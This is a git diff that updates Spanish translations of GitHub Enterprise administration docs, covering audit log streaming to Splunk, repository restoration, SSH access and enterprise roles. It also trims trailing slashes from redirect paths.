-     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. 
+1. Haz clic en **Configurar transmisión** y selecciona **Splunk**. ![Elige Splunk desde el menú desplegable](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
+1. En la página de configuración, ingresa:
+   * El dominio en el cual se hospeda la aplicación que quieres transmitir.
 
-   * The port on which the application accepts data.<br>
+     Si estás utilizando Splunk Cloud, `Domain` debe ser `http-inputs-<host>`, en donde `host` es el dominio que utilizas en Splunk Cloud. Por ejemplo: `http-inputs-mycompany.splunkcloud.com`.
 
-     If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`.
+   * El puerto mediante el cual la aplicación acepta datos.<br>
 
-   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
+     Si estás utilizando Splunk Cloud, `Port` debería ser `443` si no has cambiado la configuración del puerto. Si estás utilizando la versión de prueba gratis de Splunk Cloud, `Port` debe ser `8088`.
 
-1. Leave the **Enable SSL verification** check box selected.
+   * Un token que pueda utilizar {% data variables.product.prodname_dotcom %} para autenticarse a la aplicación de terceros. ![Ingresar la configuración de transmisiones](/assets/images/help/enterprises/audit-stream-add-splunk.png)
 
-    Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled.
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Splunk endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
+1. Deja seleccionada la casilla de **Habilitar la verificación por SSL**.
+
+    Las bitácoras de auditoría siempre se transmiten como datos cifrados, sin embargo, si seleccionas esta opción, {% data variables.product.prodname_dotcom %} verificará el certificado SSL de tu instancia de Splunk cuando entregue eventos. La verificación por SSL te ayuda a garantizar que los eventos se entreguen a tu terminal URL con seguridad. Puedes limpiar la selección de esta opción, pero te recomendamos que dejes habilitada la verificación por SSL.
+1. Haz clic en **Verificar terminal** para verificar que {% data variables.product.prodname_dotcom %} puede conectarse a la terminal de Splunk. ![Verificar la terminal](/assets/images/help/enterprises/audit-stream-check-splunk.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-## Pausing audit log streaming
+## Pausar la transmisión de bitácoras de auditoría
 
-Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.product.product_location %} and are then exported when you unpause the stream.
+El pausar la transmisión te permite realizar el mantenimiento de la aplicación receptora sin perder datos de auditoría. Las bitácoras de auditoría se almacenan por hasta siete días en {% data variables.product.product_location %} y luego se exportan cuando dejas de pausar la transmisión.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Pause stream**.
-   ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
-1. A confirmation message is displayed. Click **Pause stream** to confirm.
+1. Haz clic en **Pausar transmisión**. ![Pausar la transmisión](/assets/images/help/enterprises/audit-stream-pause.png)
+1. Se mostrará un mensaje de confirmación. Haz clic en **Pausar transmisión** para confirmar.
 
-When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs.
+Cuando la aplicación esté lista para recibir bitácoras de auditoría nuevamente, haz clic en **Reanudar transmisión** para reiniciar la transmisión de bitácoras de auditoría.
 
-## Deleting the audit log stream
+## Borrar la transmisión de bitácoras de auditoría
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Delete stream**.
-   ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
-2. A confirmation message is displayed. Click **Delete stream** to confirm.
+1. Haz clic en **Borrar transmisión**. ![Borrar la transmisión](/assets/images/help/enterprises/audit-stream-delete.png)
+2. Se mostrará un mensaje de confirmación. Haz clic en **Borrar transmisión** para confirmar.
diff --git a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
index 373f4381fc..bf0058b801 100644
--- a/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
@@ -1,10 +1,9 @@
 ---
 title: Viewing the audit logs for organizations in your enterprise
-intro: Enterprise owners can view aggregated actions from all of the organizations owned by an enterprise account in its audit log.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+intro: Los propietarios de la empresa pueden ver accciones acumuladas de todas las organizaciones propiedad de una cuenta de empresa en su registro de auditoría.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
-  - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account/
+  - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account
   - /articles/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
@@ -16,18 +15,19 @@ topics:
   - Enterprise
   - Logging
   - Organizations
-shortTitle: View organization audit logs
+shortTitle: Visualiza las bitácoras de auditoría de la organización
 ---
-Each audit log entry shows applicable information about an event, such as:
 
-- The organization an action was performed in
-- The user who performed the action
-- Which repository an action was performed in
-- The action that was performed
-- Which country the action took place in
-- The date and time the action occurred
+Cada entrada del registro de auditoría muestra información vigente acerca de un evento, como:
 
-You can search the audit log for specific events and export audit log data. For more information on searching the audit log and on specific organization events, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)."
+- La organización en la que se realizó una acción
+- El usuario que realizó la acción
+- En qué repositorio se realizó una acción
+- La acción que se realizó
+- En qué país se realizó la acción
+- La fecha y hora en que se produjo la acción
+
+Puedes buscar el registro de auditoría para eventos específicos y exportar los datos del registro de auditoría. Para obtener más información acerca de buscar el registro de auditoría y eventos en una organización específica, consulta "[Revisar el registro de auditoría para tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)."
 
 You can also stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit logs for organizations in your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."
 
diff --git a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md
index 95b2331b42..af1a229be3 100644
--- a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md
@@ -2,15 +2,15 @@
 title: Configurar el almacenamiento de archivos grandes de Git para tu empresa
 intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}'
 redirect_from:
-  - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise/
+  - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise
   - /enterprise/admin/installation/configuring-git-large-file-storage-on-github-enterprise-server
   - /enterprise/admin/installation/configuring-git-large-file-storage
   - /enterprise/admin/installation/configuring-git-large-file-storage-to-use-a-third-party-server
   - /enterprise/admin/installation/migrating-to-a-different-git-large-file-storage-server
-  - /enterprise/admin/articles/configuring-git-large-file-storage-for-a-repository/
-  - /enterprise/admin/articles/configuring-git-large-file-storage-for-every-repository-owned-by-a-user-account-or-organization/
-  - /enterprise/admin/articles/configuring-git-large-file-storage-for-your-appliance/
-  - /enterprise/admin/guides/installation/migrating-to-different-large-file-storage-server/
+  - /enterprise/admin/articles/configuring-git-large-file-storage-for-a-repository
+  - /enterprise/admin/articles/configuring-git-large-file-storage-for-every-repository-owned-by-a-user-account-or-organization
+  - /enterprise/admin/articles/configuring-git-large-file-storage-for-your-appliance
+  - /enterprise/admin/guides/installation/migrating-to-different-large-file-storage-server
   - /enterprise/admin/user-management/configuring-git-large-file-storage-for-your-enterprise
   - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise
 versions:
diff --git a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
index 1dcfbf1b7a..81973bdc71 100644
--- a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
@@ -1,15 +1,15 @@
 ---
 title: Inhabilitar el acceso por SSH a git en tu empresa
 redirect_from:
-  - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account/
-  - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account/
-  - /enterprise/admin/hidden/disabling-ssh-access-for-your-appliance/
-  - /enterprise/admin/articles/disabling-ssh-access-for-your-appliance/
-  - /enterprise/admin/hidden/disabling-ssh-access-for-an-organization/
-  - /enterprise/admin/articles/disabling-ssh-access-for-an-organization/
-  - /enterprise/admin/hidden/disabling-ssh-access-to-a-repository/
-  - /enterprise/admin/articles/disabling-ssh-access-to-a-repository/
-  - /enterprise/admin/guides/installation/disabling-git-ssh-access-on-github-enterprise/
+  - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account
+  - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account
+  - /enterprise/admin/hidden/disabling-ssh-access-for-your-appliance
+  - /enterprise/admin/articles/disabling-ssh-access-for-your-appliance
+  - /enterprise/admin/hidden/disabling-ssh-access-for-an-organization
+  - /enterprise/admin/articles/disabling-ssh-access-for-an-organization
+  - /enterprise/admin/hidden/disabling-ssh-access-to-a-repository
+  - /enterprise/admin/articles/disabling-ssh-access-to-a-repository
+  - /enterprise/admin/guides/installation/disabling-git-ssh-access-on-github-enterprise
   - /enterprise/admin/installation/disabling-git-ssh-access-on-github-enterprise-server
   - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
diff --git a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md
index a668538533..948757efee 100644
--- a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md
+++ b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md
@@ -1,5 +1,5 @@
 ---
-title: Restoring a deleted repository
+title: Restaurando un repositorio eliminado
 intro: Site administrators can restore deleted repositories to recover their contents.
 versions:
   ghes: '*'
@@ -10,17 +10,18 @@ topics:
   - Repositories
 shortTitle: Restore a deleted repository
 ---
-Usually, if someone deletes a repository, it will be available on disk for 90 days and can be restored via the site admin dashboard. Unless a legal hold is in effect on a user or organization, after 90 days the repository is purged and deleted forever.
 
-## About repository restoration
+Generalmente, si alguien elimina un repositorio, estará disponible en el disco por 90 días y se puede restablecer mediante el tablero de administración del sitio. Unless a legal hold is in effect on a user or organization, after 90 days the repository is purged and deleted forever.
+
+## Acerca de la restauración de repositorios
 
 If a repository was part of a fork network when it was deleted, the restored repository will be detached from the original fork network.
 
-It can take up to an hour after a repository is deleted before that repository is available for restoration.
+Puede tardar hasta una hora después de que se elimine un repositorio antes de que ese repositorio esté disponible para la restauración.
 
-Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled.
+Restaurar un repositorio no restaurará los archivos adjuntos de lanzamiento o los permisos de equipo. Las propuestas que se restablezcan no se etiquetarán.
 
-## Restoring a deleted repository
+## Restaurando un repositorio eliminado
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user-or-org %}
@@ -29,6 +30,6 @@ Restoring a repository will not restore release attachments or team permissions.
 1. Find the repository you want to restore in the deleted repositories list, then to the right of the repository name click **Restore**.
 1. To confirm you would like to restore the named repository, click **Restore**.
 
-## Further reading
+## Leer más
 
-- "[Placing a legal hold on a user or organization](/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization)"
+- "[Colocar una retención legal en un usuario u organización](/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization)"
diff --git a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
index dd462cc653..bcf46f7067 100644
--- a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
+++ b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
@@ -2,7 +2,7 @@
 title: Solución de problemas con ganchos de servicio
 intro: 'Si las cargar no se están entregando, comprueba estos problemas comunes.'
 redirect_from:
-  - /enterprise/admin/articles/troubleshooting-service-hooks/
+  - /enterprise/admin/articles/troubleshooting-service-hooks
   - /enterprise/admin/developer-workflow/troubleshooting-service-hooks
   - /enterprise/admin/user-management/troubleshooting-service-hooks
   - /admin/user-management/troubleshooting-service-hooks
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
index 92baa28915..04b673b803 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
@@ -2,7 +2,7 @@
 title: Auditar claves SSH
 intro: Los administradores del sitio pueden iniciar una auditoría en todas las instancias de las claves SSH.
 redirect_from:
-  - /enterprise/admin/articles/auditing-ssh-keys/
+  - /enterprise/admin/articles/auditing-ssh-keys
   - /enterprise/admin/user-management/auditing-ssh-keys
   - /admin/user-management/auditing-ssh-keys
 versions:
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
index f7a55c64ba..b73c09ee99 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
@@ -2,7 +2,7 @@
 title: Auditing users across your enterprise
 intro: 'The audit log dashboard shows site administrators the actions performed by all users and organizations across your enterprise within the current month and previous six months. The audit log includes details such as who performed the action, what the action was, and when the action was performed.'
 redirect_from:
-  - /enterprise/admin/guides/user-management/auditing-users-across-an-organization/
+  - /enterprise/admin/guides/user-management/auditing-users-across-an-organization
   - /enterprise/admin/user-management/auditing-users-across-your-instance
   - /admin/user-management/auditing-users-across-your-instance
   - /admin/user-management/auditing-users-across-your-enterprise
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md
index 860707055c..bcaf813b18 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md
@@ -31,4 +31,4 @@ Te recomendamos ampliamente que requieras que tus usuarios instalen y utilicen u
 
 Para limitar la posible superficie expuesta a ataques en el caso de una vulneración de la seguridad, te recomendamos que se le de a los usuarios acceso solo a los equipos y los repositorios que realmente necesiten para realizar su trabajo. Ya que los miembros con rol de propietario pueden acceder a todos los equipos y los repositorios en la organización, te recomendamos que este equipo sea lo más pequeño posible.
 
-For more information on configuring teams and team permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Para obtener más información sobre cómo configurar los equipos y sus permisos, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
index 38dab7b3dc..f5353e4ea4 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
@@ -2,7 +2,7 @@
 title: Personalizar los mensajes de usuario para tu empresa
 shortTitle: Personalizar los mensajes de usuario
 redirect_from:
-  - /enterprise/admin/user-management/creating-a-custom-sign-in-message/
+  - /enterprise/admin/user-management/creating-a-custom-sign-in-message
   - /enterprise/admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-for-your-enterprise
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md
index 477387bd1a..4b8443a834 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md
@@ -3,7 +3,7 @@ title: Managing users in your enterprise
 intro: You can audit user activity and manage user settings.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise
-  - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons/
+  - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons
   - /enterprise/admin/user-management/basic-account-settings
   - /enterprise/admin/user-management/user-security
   - /enterprise/admin/user-management/managing-users-in-your-enterprise
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
index e3d0893b0f..04274bc805 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
@@ -1,12 +1,11 @@
 ---
 title: Invitar a las personas para que administren tu empresa
 intro: 'Puedes {% ifversion ghec %}invitar a que las personas se conviertan en propietarios empresariales o gerentes de facturación para {% elsif ghes %}agregar propietarios empresariales a{% endif %} tu cuenta empresarial. También puedes eliminar a los propietarios empresariales {% ifversion ghec %}o gerentes de facturación {% endif %}que ya no necesiten acceso a la cuenta empresarial.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
   - /github/setting-up-and-managing-your-enterprise-account/inviting-people-to-manage-your-enterprise-account
-  - /articles/inviting-people-to-collaborate-in-your-business-account/
+  - /articles/inviting-people-to-collaborate-in-your-business-account
   - /articles/inviting-people-to-manage-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise
 versions:
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
index d482da22bc..ce92ba1dc4 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
@@ -1,9 +1,9 @@
 ---
 title: Managing dormant users
 redirect_from:
-  - /enterprise/admin/articles/dormant-users/
-  - /enterprise/admin/articles/viewing-dormant-users/
-  - /enterprise/admin/articles/determining-whether-a-user-account-is-dormant/
+  - /enterprise/admin/articles/dormant-users
+  - /enterprise/admin/articles/viewing-dormant-users
+  - /enterprise/admin/articles/determining-whether-a-user-account-is-dormant
   - /enterprise/admin/user-management/managing-dormant-users
   - /admin/user-management/managing-dormant-users
 intro: '{% data reusables.enterprise-accounts.dormant-user-activity-threshold %}'
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
index 66aca96303..1f2b092c82 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Administrar los derechos de soporte para tu empresa
 intro: Puedes otorgar a los miembros empresariales las capacidades para administrar los tickets de soporte para tu cuenta empresarial.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
 versions:
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md
index 780a4f4191..0227145d68 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md
@@ -1,8 +1,8 @@
 ---
 title: Promoting or demoting a site administrator
 redirect_from:
-  - /enterprise/admin/articles/promoting-a-site-administrator/
-  - /enterprise/admin/articles/demoting-a-site-administrator/
+  - /enterprise/admin/articles/promoting-a-site-administrator
+  - /enterprise/admin/articles/demoting-a-site-administrator
   - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator
   - /admin/user-management/promoting-or-demoting-a-site-administrator
 intro: 'Site administrators can promote any normal user account to a site administrator, as well as demote other site administrators to regular users.'
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
index 28796458e4..21cc29b226 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
@@ -2,7 +2,7 @@
 title: Reconstruir datos de contribuciones
 intro: Es posible que necesites reconstruir los datos de contribuciones para vincular las confirmaciones de cambios a una cuenta de usuario.
 redirect_from:
-  - /enterprise/admin/articles/rebuilding-contributions-data/
+  - /enterprise/admin/articles/rebuilding-contributions-data
   - /enterprise/admin/user-management/rebuilding-contributions-data
   - /admin/user-management/rebuilding-contributions-data
 versions:
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
index 62a12b3bab..eda630ca0f 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
@@ -1,11 +1,10 @@
 ---
-title: Roles in an enterprise
-intro: 'Everyone in an enterprise is a member of the enterprise. To control access to your enterprise''s settings and data, you can assign different roles to members of your enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Roles en una empresa
+intro: 'Todas las personas en una empresa son miembros de ella. Para controlar el acceso a los datos y configuraciones de tu empresa, puedes asignar roles diferentes a los miembros de ella.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise
   - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account
-  - /articles/permission-levels-for-a-business-account/
+  - /articles/permission-levels-for-a-business-account
   - /articles/roles-for-an-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise
 versions:
@@ -16,61 +15,61 @@ topics:
   - Enterprise
 ---
 
-## About roles in an enterprise
+## Acerca de los roles en una empresa
 
-Everyone in an enterprise is a member of the enterprise. You can also assign administrative roles to members of your enterprise. Each administrator role maps to business functions and provides permissions to do specific tasks within the enterprise.
+Todas las personas en una empresa son miembros de ella. También puedes asignar roles administrativos a los miembros de tu empresa. Cada rol de admnistrador mapea las funciones de negocio y proporciona permisos para llevar a cabo tareas específicas dentro de la empresa.
 
 {% data reusables.enterprise-accounts.enterprise-administrators %}
 
 {% ifversion ghec %}
-If your enterprise does not use {% data variables.product.prodname_emus %}, you can invite someone to an administrative role using a user account on {% data variables.product.product_name %} that they control. For more information, see "[Inviting people to manage your enterprise](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)".
+Si tu empresa no utiliza {% data variables.product.prodname_emus %}, puedes invitar a alguien a un rol administrativo utilizando una cuetna de usuario en {% data variables.product.product_name %} que ellos controlen. Para obtener más información, consulta la sección "[Invitar a las personas para que administren tu empresa](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)".
 
-In an enterprise using {% data variables.product.prodname_emus %}, new owners and members must be provisioned through your identity provider. Enterprise owners and organization owners cannot add new members or owners to the enterprise using {% data variables.product.prodname_dotcom %}. You can select a member's enterprise role using your IdP and it cannot be changed on {% data variables.product.prodname_dotcom %}. You can select a member's role in an organization on {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+En una empresa que utiliza {% data variables.product.prodname_emus %}, los propietarios y miembros nuevos deben aprovisionarse mediante tu proveedor de identidad. Los propietarios empresariales y propietarios de empresas no pueden agregar miembros o propietarios nuevos a la empresa utilizando {% data variables.product.prodname_dotcom %}. Puedes seleccionar el rol empresarial de un miembro utilizando tu IdP y no puede cambiarse en {% data variables.product.prodname_dotcom %}. Puedes seleccionar el rol de un miembro en una organización de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)".
 {% else %}
-For more information about adding people to your enterprise, see "[Authentication](/admin/authentication)".
+Para obtener más información acerca de cómo agregar personas a tu empresa, consulta la sección "[Autenticación](/admin/authentication)".
 
 {% endif %}
 
-## Enterprise owner
+## Propietario de empresa
 
-Enterprise owners have complete control over the enterprise and can take every action, including:
-- Managing administrators
-- {% ifversion ghec %}Adding and removing {% elsif ghae or ghes %}Managing{% endif %} organizations {% ifversion ghec %}to and from {% elsif ghae or ghes %} in{% endif %} the enterprise
-- Managing enterprise settings
-- Enforcing policy across organizations
-{% ifversion ghec %}- Managing billing settings{% endif %}
+Los propietarios de las empresas tienen el control absoluto de las mismas y pueden tomar todas las acciones, incluyendo:
+- Gestionar administradores
+- {% ifversion ghec %}Agregar y eliminar {% elsif ghae or ghes %}Administrar{% endif %} organizaciones{% ifversion ghec %}to and from {% elsif ghae or ghes %} en{% endif %} la empresa
+- Administrar parámetros de la empresa
+- Aplicar políticas en las organizaciones
+{% ifversion ghec %}- Administrar la configuración de facturación{% endif %}
 
-Enterprise owners cannot access organization settings or content unless they are made an organization owner or given direct access to an organization-owned repository. Similarly, owners of organizations in your enterprise do not have access to the enterprise itself unless you make them enterprise owners.
+Los propietarios de empresa no pueden acceder a los parámetros o el contenido de la organización, a menos que se conviertan en propietarios de la organización o que se les otorgue acceso directo al repositorio que le pertenece a una organización. De forma similar, los propietarios de las organizaciones en tu empresa no tienen acceso a la empresa misma a menos de que los conviertas en propietarios de ella.
 
-An enterprise owner will only consume a license if they are an owner or member of at least one organization within the enterprise. {% ifversion ghec %}Enterprise owners must have a personal account on {% data variables.product.prodname_dotcom %}.{% endif %} As a best practice, we recommend making only a few people in your company enterprise owners, to reduce the risk to your business.
+Un propietario de la empresa solo consumirá una licencia si son propietarios o miembros de por lo menos una organización dentro de la emrpesa. Even if an enterprise owner has a role in multiple organizations, they will consume a single license. {% ifversion ghec %}Los propietrios de la empresa deben tener una cuenta personal en {% data variables.product.prodname_dotcom %}.{% endif %} Como mejor práctica, te recomendamos que solo algunas personas en tu compañía se conviertan en propietarios, para reducir el riesgo en tu negocio.
 
-## Enterprise members
+## Miembros de empresa
 
-Members of organizations owned by your enterprise are also automatically members of the enterprise. Members can collaborate in organizations and may be organization owners, but members cannot access or configure enterprise settings{% ifversion ghec %}, including billing settings{% endif %}.
